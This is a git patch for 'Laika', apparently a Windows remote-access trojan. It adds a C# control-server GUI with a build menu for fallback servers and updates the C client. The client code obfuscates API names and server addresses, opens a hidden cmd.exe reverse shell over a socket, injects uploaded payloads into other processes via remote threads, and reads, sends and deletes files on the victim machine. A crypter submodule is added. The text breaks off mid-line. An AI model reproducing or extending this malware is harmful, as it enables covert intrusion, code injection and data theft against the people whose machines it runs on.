From ceecaf7c22b2d64e8ada729fa678f15769e19e74 Mon Sep 17 00:00:00 2001 From: ALittlePatate Date: Tue, 9 Jul 2024 19:37:31 +0200 Subject: [PATCH] add: GUI Server --- .gitignore | 12 +- .gitmodules | 3 + Laika.sln | 51 ++ Laika/Laika.sln | 31 -- Laika/Laika.vcxproj | 29 +- Laika/config.h | 4 +- Laika/file_explorer.c | 39 +- Laika/main.c | 77 ++- Laika/resolve_apis.c | 2 + Laika/resolve_apis.h | 4 + Server/App.config | 6 + Server/BuildMenu.Designer.cs | 364 ++++++++++++++ Server/BuildMenu.cs | 179 +++++++ Server/BuildMenu.resx | 123 +++++ Server/FileExplorer.Designer.cs | 242 +++++++++ Server/FileExplorer.cs | 469 ++++++++++++++++++ Server/FileExplorer.resx | 123 +++++ Server/Menu.Designer.cs | 234 +++++++++ Server/Menu.cs | 234 +++++++++ Server/Menu.resx | 132 +++++ Server/Program.cs | 207 ++++++++ Server/Properties/AssemblyInfo.cs | 36 ++ Server/Properties/Resources.Designer.cs | 153 ++++++ Server/Properties/Resources.resx | 148 ++++++ Server/Properties/Settings.Designer.cs | 30 ++ Server/Properties/Settings.settings | 7 + Server/Resources/delete.png | Bin 0 -> 16396 bytes Server/Resources/download.png | Bin 0 -> 3788 bytes Server/Resources/execute.png | Bin 0 -> 11354 bytes Server/Resources/file.png | Bin 0 -> 3387 bytes Server/Resources/folder.png | Bin 0 -> 13225 bytes Server/Resources/refresh.png | Bin 0 -> 16185 bytes Server/Resources/terminal.png | Bin 0 -> 6771 bytes Server/Resources/up_arrow.png | Bin 0 -> 4612 bytes Server/Resources/upload.png | Bin 0 -> 3810 bytes Server/Server.csproj | 129 +++++ .../FileExplorer/images/bg.gif | Bin .../FileExplorer/images/file.png | Bin .../FileExplorer/images/folder.png | Bin .../FileExplorer/images/spike.jpg | Bin .../FileExplorer/index.html | 0 {Server => Server_cli}/FileExplorer/style.css | 0 Server_cli/README.md | 1 + {Server => Server_cli}/Server.py | 0 {Server => Server_cli}/requirements.txt | 0 patate-crypter | 1 + 46 files changed, 3002 insertions(+), 68 deletions(-) create mode 100644 .gitmodules create mode 100644 Laika.sln delete mode 100644 Laika/Laika.sln create mode 100644 Server/App.config create mode 100644 Server/BuildMenu.Designer.cs create mode 100644 Server/BuildMenu.cs create mode 100644 Server/BuildMenu.resx create mode 100644 Server/FileExplorer.Designer.cs create mode 100644 Server/FileExplorer.cs create mode 100644 Server/FileExplorer.resx create mode 100644 Server/Menu.Designer.cs create mode 100644 Server/Menu.cs create mode 100644 Server/Menu.resx create mode 100644 Server/Program.cs create mode 100644 Server/Properties/AssemblyInfo.cs create mode 100644 Server/Properties/Resources.Designer.cs create mode 100644 Server/Properties/Resources.resx create mode 100644 Server/Properties/Settings.Designer.cs create mode 100644 Server/Properties/Settings.settings create mode 100644 Server/Resources/delete.png create mode 100644 Server/Resources/download.png create mode 100644 Server/Resources/execute.png create mode 100644 Server/Resources/file.png create mode 100644 Server/Resources/folder.png create mode 100644 Server/Resources/refresh.png create mode 100644 Server/Resources/terminal.png create mode 100644 Server/Resources/up_arrow.png create mode 100644 Server/Resources/upload.png create mode 100644 Server/Server.csproj rename {Server => Server_cli}/FileExplorer/images/bg.gif (100%) rename {Server => Server_cli}/FileExplorer/images/file.png (100%) rename {Server => Server_cli}/FileExplorer/images/folder.png (100%) rename {Server => Server_cli}/FileExplorer/images/spike.jpg (100%) rename {Server => Server_cli}/FileExplorer/index.html (100%) rename {Server => Server_cli}/FileExplorer/style.css (100%) create mode 100644 Server_cli/README.md rename {Server => Server_cli}/Server.py (100%) rename {Server => Server_cli}/requirements.txt (100%) create mode 160000 patate-crypter diff --git a/.gitignore b/.gitignore index 02b79ca..4732f7c 100644 --- a/.gitignore +++ b/.gitignore @@ -1,6 +1,8 @@ .vim -Laika/.vs -Laika/Release -Laika/Laika/Release -Laika/Laika/x64 -*.bin \ No newline at end of file +.vs +.vs +Release +x64 +*.bin +bin +obj \ No newline at end of file diff --git a/.gitmodules b/.gitmodules new file mode 100644 index 0000000..3910c40 --- /dev/null +++ b/.gitmodules @@ -0,0 +1,3 @@ +[submodule "patate-crypter"] + path = patate-crypter + url = https://github.com/ALittlePatate/patate-crypter diff --git a/Laika.sln b/Laika.sln new file mode 100644 index 0000000..5efafdc --- /dev/null +++ b/Laika.sln @@ -0,0 +1,51 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 17 +VisualStudioVersion = 17.1.32407.343 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Laika", "Laika\Laika.vcxproj", "{6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Server", "Server\Server.csproj", "{ECBAF9B2-2988-480B-973E-50A6BDC7016E}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|Any CPU = Release|Any CPU + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Debug|Any CPU.ActiveCfg = Debug|x64 + {6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Debug|Any CPU.Build.0 = Debug|x64 + {6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Debug|x64.ActiveCfg = Debug|x64 + {6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Debug|x64.Build.0 = Debug|x64 + {6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Debug|x86.ActiveCfg = Debug|Win32 + {6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Debug|x86.Build.0 = Debug|Win32 + {6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Release|Any CPU.ActiveCfg = Release|x64 + {6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Release|Any CPU.Build.0 = Release|x64 + {6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Release|x64.ActiveCfg = Release|x64 + {6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Release|x64.Build.0 = Release|x64 + {6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Release|x86.ActiveCfg = Release|Win32 + {6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Release|x86.Build.0 = Release|Win32 + {ECBAF9B2-2988-480B-973E-50A6BDC7016E}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {ECBAF9B2-2988-480B-973E-50A6BDC7016E}.Debug|Any CPU.Build.0 = Debug|Any CPU + {ECBAF9B2-2988-480B-973E-50A6BDC7016E}.Debug|x64.ActiveCfg = Debug|Any CPU + {ECBAF9B2-2988-480B-973E-50A6BDC7016E}.Debug|x64.Build.0 = Debug|Any CPU + {ECBAF9B2-2988-480B-973E-50A6BDC7016E}.Debug|x86.ActiveCfg = Debug|Any CPU + {ECBAF9B2-2988-480B-973E-50A6BDC7016E}.Debug|x86.Build.0 = Debug|Any CPU + {ECBAF9B2-2988-480B-973E-50A6BDC7016E}.Release|Any CPU.ActiveCfg = Release|Any CPU + {ECBAF9B2-2988-480B-973E-50A6BDC7016E}.Release|Any CPU.Build.0 = Release|Any CPU + {ECBAF9B2-2988-480B-973E-50A6BDC7016E}.Release|x64.ActiveCfg = Release|Any CPU + {ECBAF9B2-2988-480B-973E-50A6BDC7016E}.Release|x64.Build.0 = Release|Any CPU + {ECBAF9B2-2988-480B-973E-50A6BDC7016E}.Release|x86.ActiveCfg = Release|Any CPU + {ECBAF9B2-2988-480B-973E-50A6BDC7016E}.Release|x86.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {40DA52A8-9E2F-46BC-AA9A-205BF4863D68} + EndGlobalSection +EndGlobal diff --git a/Laika/Laika.sln b/Laika/Laika.sln deleted file mode 100644 index 7741c2d..0000000 --- a/Laika/Laika.sln +++ /dev/null @@ -1,31 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 12.00 -# Visual Studio Version 17 -VisualStudioVersion = 17.1.32407.343 -MinimumVisualStudioVersion = 10.0.40219.1 -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Laika", "Laika.vcxproj", "{6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|x64 = Debug|x64 - Debug|x86 = Debug|x86 - Release|x64 = Release|x64 - Release|x86 = Release|x86 - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Debug|x64.ActiveCfg = Debug|x64 - {6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Debug|x64.Build.0 = Debug|x64 - {6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Debug|x86.ActiveCfg = Debug|Win32 - {6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Debug|x86.Build.0 = Debug|Win32 - {6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Release|x64.ActiveCfg = Release|x64 - {6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Release|x64.Build.0 = Release|x64 - {6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Release|x86.ActiveCfg = Release|Win32 - {6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Release|x86.Build.0 = Release|Win32 - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection - GlobalSection(ExtensibilityGlobals) = postSolution - SolutionGuid = {40DA52A8-9E2F-46BC-AA9A-205BF4863D68} - EndGlobalSection -EndGlobal diff --git a/Laika/Laika.vcxproj b/Laika/Laika.vcxproj index 3340557..73cee7a 100644 --- a/Laika/Laika.vcxproj +++ b/Laika/Laika.vcxproj @@ -72,23 +72,31 @@ true + ..\bin\ + ..\obj\ - false + true false false false * false + ..\bin\ + ..\obj\ true + ..\bin\ + ..\obj\ false true true * + ..\bin\ + ..\obj\ false @@ -96,16 +104,23 @@ Level3 - true - WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + false + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS true stdcpp20 MultiThreaded + Default + false + true + CompileAsC Console true - msvcrt.lib;%(AdditionalDependencies) + %(AdditionalDependencies) + true + main + true @@ -126,12 +141,12 @@ Console true true - true + DebugFull true main - true + false %(AdditionalDependencies) @@ -147,7 +162,7 @@ Level3 true - _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + _DEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS true MultiThreaded diff --git a/Laika/config.h b/Laika/config.h index 06e42b8..4eec8bd 100644 --- a/Laika/config.h +++ b/Laika/config.h @@ -1,9 +1,9 @@ #define FALLBACK_SERVERS 1 -char* fallback_servers[1] = { +char* fallback_servers[FALLBACK_SERVERS] = { "6>736;=3:;36", }; -int fallback_servers_ip[1] = { +int fallback_servers_ip[FALLBACK_SERVERS] = { 4444, }; \ No newline at end of file diff --git a/Laika/file_explorer.c b/Laika/file_explorer.c index f11923f..0d61a08 100644 --- a/Laika/file_explorer.c +++ b/Laika/file_explorer.c @@ -17,22 +17,25 @@ int get_drives_list(char* buf) { return count; // return number of drives found } -char get_obj_info(const char* dirPath) { - char result = 'N'; - HANDLE hFind = NULL; - WIN32_FIND_DATA findData; +char get_obj_info(const char* path) { + WCHAR widePath[MAX_PATH]; + DWORD attributes; - WCHAR searchPath[MAX_PATH]; - mbstowcs_(searchPath, dirPath, MAX_PATH); + if (mbstowcs_(widePath, path, MAX_PATH) == (size_t)-1) { + return 'N'; + } + attributes = Api.GetFileAttributesW(widePath); - wcscat(searchPath, L"\\*.*"); - hFind = Api.FindFirstFileW(searchPath, &findData); + if (attributes == INVALID_FILE_ATTRIBUTES) { + return 'N'; // Path doesn't exist or can't be accessed + } - if (hFind == INVALID_HANDLE_VALUE) - return result; - result = (findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) ? 'd' : 'f'; - Api.FindClose(hFind); - return result; + if (attributes & FILE_ATTRIBUTE_DIRECTORY) { + return 'd'; // It's a directory + } + else { + return 'f'; // It's a file + } } char* get_file_list(const char* dirPath, int* numFiles) { @@ -72,7 +75,7 @@ char* get_file_list(const char* dirPath, int* numFiles) { fileList = (char**)Api.HeapReAlloc(_crt_heap, HEAP_ZERO_MEMORY, fileList, maxFiles * sizeof(char*)); } fileList[numFound] = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, strlen(fileName) + 1); - strcpy(fileList[numFound], CAESAR(fileName)); + strcpy(fileList[numFound], fileName); numFound++; } while (Api.FindNextFileW(hFind, &findData) != 0); @@ -100,7 +103,7 @@ char* get_file_list(const char* dirPath, int* numFiles) { // Set the numFiles parameter to the number of files/folders found *numFiles = numFound; - return fileNames; + return CAESAR(fileNames); } BOOL delete_folder(LPCTSTR lpszDir) { @@ -122,7 +125,7 @@ BOOL delete_folder(LPCTSTR lpszDir) { } do { - if (Api.lstrcpyW(FindFileData.cFileName, TEXT(".")) == 0 || Api.lstrcpyW(FindFileData.cFileName, TEXT("..")) == 0) { + if (wcscmp_(FindFileData.cFileName, TEXT(".")) == 0 || wcscmp_(FindFileData.cFileName, TEXT("..")) == 0) { // skip the current and parent directories continue; } @@ -166,7 +169,7 @@ int download_file(HANDLE fp, SOCKET sock) { // Send the contents of the file through the socket while (1) { - Api.WriteFile(fp, data, BUFFER_SIZE, &bytes_read, NULL); + Api.ReadFile(fp, data, BUFFER_SIZE, &bytes_read, NULL); if (bytes_read == 0) { break; } @@ -190,6 +193,7 @@ int download_file(HANDLE fp, SOCKET sock) { } } else { + Api.send(sock, "", strlen(""), 0); Api.HeapFree(_crt_heap, 0, data); Api.CloseHandle(fp); Sleep_(Sleep_TIME); @@ -203,6 +207,7 @@ int download_file(HANDLE fp, SOCKET sock) { } } + Api.send(sock, "", strlen(""), 0); Api.CloseHandle(fp); Api.HeapFree(_crt_heap, 0, data); diff --git a/Laika/main.c b/Laika/main.c index 37e4be0..f3d352a 100644 --- a/Laika/main.c +++ b/Laika/main.c @@ -21,6 +21,8 @@ HANDLE g_hChildStd_IN_Wr = NULL; HANDLE g_hChildStd_OUT_Rd = NULL; HANDLE g_hChildStd_OUT_Wr = NULL; +int started = 0; + #define BUFFER_SIZE 4096 #define SMALL_SLEEP_TIME 50 @@ -40,6 +42,9 @@ DWORD WINAPI redirect_i_thread(LPVOID lpParameter) { else if (bytesRead == SOCKET_ERROR) { break; } + else if (g_hChildStd_IN_Wr == NULL) { + break; + } else { Sleep_(SMALL_SLEEP_TIME); } @@ -50,15 +55,28 @@ DWORD WINAPI redirect_i_thread(LPVOID lpParameter) { } DWORD WINAPI redirect_o_thread(LPVOID lpParameter) { + started = 1; SOCKET sock = (SOCKET)lpParameter; char* buffer = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, BUFFER_SIZE); DWORD bytesRead = 0; + DWORD bytesAvailable = 0; while (1) { - // Read data from the child process's stdout pipe - if (Api.ReadFile(g_hChildStd_OUT_Rd, buffer, BUFFER_SIZE, &bytesRead, NULL)) { - Api.send(sock, CAESAR(buffer), (int)bytesRead, 0); - //Api.send(sock, buffer, bytesRead, 0); + if (Api.PeekNamedPipe(g_hChildStd_OUT_Rd, NULL, 0, NULL, &bytesAvailable, NULL)) { + if (bytesAvailable > 0) { + if (Api.ReadFile(g_hChildStd_OUT_Rd, buffer, min(BUFFER_SIZE, bytesAvailable), &bytesRead, NULL)) { + Api.send(sock, CAESAR(buffer), (int)bytesRead, 0); + } + else { + break; + } + } + else { + Sleep_(SMALL_SLEEP_TIME); + } + } + else if (g_hChildStd_OUT_Rd == NULL) { + break; } else { DWORD error = Api.GetLastError(); @@ -68,7 +86,6 @@ DWORD WINAPI redirect_o_thread(LPVOID lpParameter) { } } } - Api.HeapFree(_crt_heap, 0, buffer); return 0; } @@ -87,6 +104,8 @@ DWORD WINAPI watch_process(LPVOID lpParameter) { while (1) { n = Api.recv(args->sock, buffer, sizeof(buffer), MSG_PEEK); + if (Api.WaitForSingleObject(args->process, 0) == WAIT_OBJECT_0) + return 0; if (n > 0) { // There is data available on the socket, so the connection is still alive } @@ -303,6 +322,7 @@ retry: size_t fsize = 0; char *file = upload_file_to_mem(sock, &fsize); if (file == NULL) { + Api.send(sock, "fail", strlen("fail"), 0); Sleep_(Sleep_TIME); goto retry; } @@ -318,6 +338,7 @@ retry: Api.HeapFree(_crt_heap, 0, arch); if (proc == NULL) { + Api.send(sock, "fail", strlen("fail"), 0); Api.HeapFree(_crt_heap, 0, file); Sleep_(Sleep_TIME); goto retry; @@ -325,6 +346,7 @@ retry: LPVOID addr = Api.VirtualAllocEx(proc, NULL, fsize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (addr == NULL) { + Api.send(sock, "fail", strlen("fail"), 0); Api.HeapFree(_crt_heap, 0, file); Api.CloseHandle(proc); Sleep_(Sleep_TIME); @@ -332,6 +354,7 @@ retry: } if (Api.WriteProcessMemory(proc, addr, file, fsize, NULL) == 0) { + Api.send(sock, "fail", strlen("fail"), 0); Api.HeapFree(_crt_heap, 0, file); Api.CloseHandle(proc); Sleep_(Sleep_TIME); @@ -340,6 +363,7 @@ retry: HANDLE hThread = Api.CreateRemoteThread(proc, NULL, 0, (LPTHREAD_START_ROUTINE)addr, NULL, 0, NULL); if (hThread == NULL) { + Api.send(sock, "fail", strlen("fail"), 0); Api.HeapFree(_crt_heap, 0, file); Api.CloseHandle(proc); Sleep_(Sleep_TIME); @@ -349,6 +373,7 @@ retry: Api.HeapFree(_crt_heap, 0, file); Api.CloseHandle(proc); Api.CloseHandle(hThread); + Api.send(sock, "ok", strlen("ok"), 0); } #endif if (strncmp_(server_reply, "ljydknqjdqnxy", strlen("ljydknqjdqnxy")) == 0) { //get_file_list @@ -399,7 +424,7 @@ retry: goto retry; } - HANDLE hFile = Api.CreateFileA(CAESAR_DECRYPT(path), GENERIC_WRITE, 0, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL); + HANDLE hFile = Api.CreateFileA(CAESAR_DECRYPT(path), GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); Api.HeapFree(_crt_heap, 0, path); if (hFile == NULL) @@ -444,17 +469,21 @@ retry: } if (strncmp_(server_reply, "xmjqq", strlen("xmjqq")) == 0) { //shell + started = 0; // Set the socket as standard output and error SECURITY_ATTRIBUTES sa; sa.nLength = sizeof(SECURITY_ATTRIBUTES); sa.bInheritHandle = TRUE; sa.lpSecurityDescriptor = NULL; if (!Api.CreatePipe(&g_hChildStd_OUT_Rd, &g_hChildStd_OUT_Wr, &sa, 0)) { + Api.send(sock, "fail", strlen("fail"), 0); SendShellEndedSignal(sock); Sleep_(Sleep_TIME); goto retry; } if (!Api.CreatePipe(&g_hChildStd_IN_Rd, &g_hChildStd_IN_Wr, &sa, 0)) { + Api.CloseHandle(g_hChildStd_IN_Rd); + Api.send(sock, "fail", strlen("fail"), 0); SendShellEndedSignal(sock); Sleep_(Sleep_TIME); goto retry; @@ -463,6 +492,14 @@ retry: // Create a thread to read from the pipes and write to the socket HANDLE hThread = Api.CreateThread(NULL, 0, &redirect_i_thread, (LPVOID)sock, 0, NULL); HANDLE hThread2 = Api.CreateThread(NULL, 0, &redirect_o_thread, (LPVOID)sock, 0, NULL); + if (hThread == NULL || hThread2 == NULL) { + Api.CloseHandle(g_hChildStd_OUT_Wr); + Api.CloseHandle(g_hChildStd_IN_Rd); + Api.send(sock, "fail", strlen("fail"), 0); + SendShellEndedSignal(sock); + Sleep_(Sleep_TIME); + goto retry; + } // Create the process STARTUPINFO si; @@ -477,6 +514,7 @@ retry: memset_(&pi, 0, sizeof(PROCESS_INFORMATION)); if (!Api.CreateProcessW(NULL, cmd_char, NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) { //cmd.exe + Api.send(sock, "fail", strlen("fail"), 0); SendShellEndedSignal(sock); Api.CloseHandle(g_hChildStd_OUT_Wr); Api.CloseHandle(g_hChildStd_IN_Rd); @@ -497,6 +535,31 @@ retry: watch_process_args args = { sock, pi.hProcess }; HANDLE hThread3 = Api.CreateThread(NULL, 0, &watch_process, &args, 0, NULL); + if (started == 0) { + SendShellEndedSignal(sock); + + Api.TerminateProcess(pi.hProcess, 0); + Api.CloseHandle(pi.hProcess); + Api.CloseHandle(pi.hThread); + Api.CloseHandle(g_hChildStd_OUT_Wr); + Api.CloseHandle(g_hChildStd_IN_Rd); + g_hChildStd_OUT_Wr = NULL; + g_hChildStd_IN_Rd = NULL; + + if (hThread != NULL) { + Api.TerminateThread(hThread, 0); + Api.CloseHandle(hThread); + } + if (hThread2 != NULL) { + Api.TerminateThread(hThread2, 0); + Api.CloseHandle(hThread2); + } + if (hThread3 != NULL) { + Api.TerminateThread(hThread3, 0); + Api.CloseHandle(hThread3); + } + continue; + } // Wait for the process to finish Api.WaitForSingleObject(pi.hProcess, INFINITE); @@ -507,6 +570,8 @@ retry: Api.CloseHandle(pi.hThread); Api.CloseHandle(g_hChildStd_OUT_Wr); Api.CloseHandle(g_hChildStd_IN_Rd); + g_hChildStd_OUT_Wr = NULL; + g_hChildStd_IN_Rd = NULL; if (hThread != NULL) { Api.TerminateThread(hThread, 0); diff --git a/Laika/resolve_apis.c b/Laika/resolve_apis.c index 8f5cbde..75ae467 100644 --- a/Laika/resolve_apis.c +++ b/Laika/resolve_apis.c @@ -19,6 +19,8 @@ void InitApis() { Api.GetProcAddress = (TGetProcAddress)my_GetProcAddress(hKernel32, CAESAR_DECRYPT("LjyUwthFiiwjxx")); Api.LoadLibraryA = (TLoadLibraryA)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("QtfiQngwfw~F")); + Api.PeekNamedPipe = (TPeekNamedPipe)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("UjjpSfrjiUnuj")); + Api.GetFileAttributesW = (TGetFileAttributesW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("LjyKnqjFyywngzyjx\\")); Api.CreateRemoteThread = (TCreateRemoteThread)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("HwjfyjWjrtyjYmwjfi")); Api.CreateProcessA = (TCreateProcessA)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("HwjfyjUwthjxxF")); Api.CreateFileA = (TCreateFileA)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("HwjfyjKnqjF")); diff --git a/Laika/resolve_apis.h b/Laika/resolve_apis.h index bf6ea5d..da7ce38 100644 --- a/Laika/resolve_apis.h +++ b/Laika/resolve_apis.h @@ -32,6 +32,7 @@ typedef int(WINAPI* Tsetsockopt)(SOCKET, int, int, const char*, int); typedef LPWSTR(WINAPI* TlstrcpyW)(LPWSTR, LPCWSTR); typedef LPWSTR(WINAPI* TlstrcatW)(LPWSTR, LPCWSTR); +typedef DWORD(WINAPI* TGetFileAttributesW)(LPCWSTR); typedef HANDLE(WINAPI* TCreateFileW)(LPCWSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE); typedef BOOL(WINAPI* TReadFile)(HANDLE, LPVOID, DWORD, LPDWORD, LPOVERLAPPED); typedef BOOL(WINAPI* TWriteFile)(HANDLE, LPCVOID, DWORD, LPDWORD, LPOVERLAPPED); @@ -45,6 +46,7 @@ typedef BOOL(WINAPI* TTerminateThread)(HANDLE, DWORD); typedef BOOL(WINAPI* TCreateProcessW)(LPCWSTR, LPWSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCWSTR, LPSTARTUPINFOW, LPPROCESS_INFORMATION); typedef BOOL(WINAPI* TTerminateProcess)(HANDLE, UINT); typedef FARPROC(WINAPI* TGetProcAddress)(HMODULE, LPCSTR); +typedef BOOL(WINAPI* TPeekNamedPipe)(HANDLE hNamedPipe, LPVOID lpBuffer, DWORD nBufferSize, LPDWORD lpBytesRead, LPDWORD lpTotalBytesAvail, LPDWORD lpBytesLeftThisMessage); typedef HANDLE(WINAPI* TCreateRemoteThread)(HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD); typedef HANDLE(WINAPI* TCreateFileA)(LPCSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE); typedef BOOL(WINAPI* TCreateProcessA)(LPCSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCSTR, LPSTARTUPINFOA, LPPROCESS_INFORMATION); @@ -76,6 +78,8 @@ typedef struct ApiList { Tselect select; Tsetsockopt setsockopt; + TGetFileAttributesW GetFileAttributesW; + TPeekNamedPipe PeekNamedPipe; TLoadLibraryA LoadLibraryA; TCreateFileA CreateFileA; TCreateProcessA CreateProcessA; diff --git a/Server/App.config b/Server/App.config new file mode 100644 index 0000000..193aecc --- /dev/null +++ b/Server/App.config @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/Server/BuildMenu.Designer.cs b/Server/BuildMenu.Designer.cs new file mode 100644 index 0000000..cc23ed1 --- /dev/null +++ b/Server/BuildMenu.Designer.cs @@ -0,0 +1,364 @@ +namespace Server +{ + partial class BuildMenu + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + this.Hosts = new System.Windows.Forms.ListBox(); + this.textBox1 = new System.Windows.Forms.TextBox(); + this.label1 = new System.Windows.Forms.Label(); + this.label2 = new System.Windows.Forms.Label(); + this.button1 = new System.Windows.Forms.Button(); + this.contextMenuStrip1 = new System.Windows.Forms.ContextMenuStrip(this.components); + this.deleteToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.label3 = new System.Windows.Forms.Label(); + this.checkBox1 = new System.Windows.Forms.CheckBox(); + this.checkBox2 = new System.Windows.Forms.CheckBox(); + this.label4 = new System.Windows.Forms.Label(); + this.textBox2 = new System.Windows.Forms.TextBox(); + this.checkBox3 = new System.Windows.Forms.CheckBox(); + this.numericUpDown1 = new System.Windows.Forms.NumericUpDown(); + this.label5 = new System.Windows.Forms.Label(); + this.checkBox4 = new System.Windows.Forms.CheckBox(); + this.numericUpDown2 = new System.Windows.Forms.NumericUpDown(); + this.label6 = new System.Windows.Forms.Label(); + this.button2 = new System.Windows.Forms.Button(); + this.label7 = new System.Windows.Forms.Label(); + this.label8 = new System.Windows.Forms.Label(); + this.button3 = new System.Windows.Forms.Button(); + this.pictureBox1 = new System.Windows.Forms.PictureBox(); + this.label9 = new System.Windows.Forms.Label(); + this.contextMenuStrip1.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.numericUpDown1)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.numericUpDown2)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit(); + this.SuspendLayout(); + // + // Hosts + // + this.Hosts.FormattingEnabled = true; + this.Hosts.Location = new System.Drawing.Point(12, 24); + this.Hosts.Name = "Hosts"; + this.Hosts.Size = new System.Drawing.Size(145, 121); + this.Hosts.TabIndex = 0; + this.Hosts.MouseDown += new System.Windows.Forms.MouseEventHandler(this.Hosts_MouseDown); + // + // textBox1 + // + this.textBox1.Location = new System.Drawing.Point(232, 58); + this.textBox1.Name = "textBox1"; + this.textBox1.Size = new System.Drawing.Size(116, 20); + this.textBox1.TabIndex = 1; + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(165, 61); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(61, 13); + this.label1.TabIndex = 2; + this.label1.Text = "IP Address:"; + // + // label2 + // + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(9, 8); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(84, 13); + this.label2.TabIndex = 3; + this.label2.Text = "Fallback servers"; + // + // button1 + // + this.button1.Location = new System.Drawing.Point(209, 89); + this.button1.Name = "button1"; + this.button1.Size = new System.Drawing.Size(75, 23); + this.button1.TabIndex = 4; + this.button1.Text = "Add host"; + this.button1.UseVisualStyleBackColor = true; + this.button1.Click += new System.EventHandler(this.button1_Click); + // + // contextMenuStrip1 + // + this.contextMenuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.deleteToolStripMenuItem}); + this.contextMenuStrip1.Name = "contextMenuStrip1"; + this.contextMenuStrip1.Size = new System.Drawing.Size(108, 26); + // + // deleteToolStripMenuItem + // + this.deleteToolStripMenuItem.Image = global::Server.Properties.Resources.delete; + this.deleteToolStripMenuItem.Name = "deleteToolStripMenuItem"; + this.deleteToolStripMenuItem.Size = new System.Drawing.Size(107, 22); + this.deleteToolStripMenuItem.Text = "Delete"; + this.deleteToolStripMenuItem.Click += new 